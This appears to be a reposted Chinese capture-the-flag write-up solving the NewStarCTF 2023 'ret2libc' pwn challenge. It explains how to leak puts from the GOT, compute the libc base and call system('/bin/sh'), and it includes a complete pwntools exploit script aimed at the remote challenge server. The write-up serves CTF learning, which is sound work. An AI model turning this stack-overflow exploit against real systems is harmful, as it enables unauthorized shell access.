BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]
2026/5/16 14:51:41 网站建设 项目流程

步骤

使用checksec查看

由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc

需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数

payload1:

先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器

然后调用 puts 函数,打印puts_got中存储的 puts 真实地址

puts 执行完后跳回 main 函数,重新触发输入提示(方便发送第二个 Payload)

然后计算 libc 基址与目标地址

payload2:

溢出后使用ret来调整栈为 16 字节对齐

然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器

最后调用system函数来执行system("/bin/sh")

main函数地址为0x400698

通过read函数可以溢出buf缓冲区,只需要0x20+0x8个字节

pop rdi;ret 地址: 0x400763

ret地址: 0x400506

本地调试:

这里选择的9

获取flag:

远程连接选择的1

exp

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./ret2libc') p = remote('node5.buuoj.cn',26594) elf = ELF('./ret2libc') pop_rdi_addr = 0x400763 ret_addr = 0x400506 main_addr =0x400698 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload1 = b'a'*(0x20+8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Show me your magic again\n",payload1) p.recvuntil(b'See you next time\n') puts_addr = u64(p.recvline().strip().ljust(8, b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Show me your magic again\n",payload2) p.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询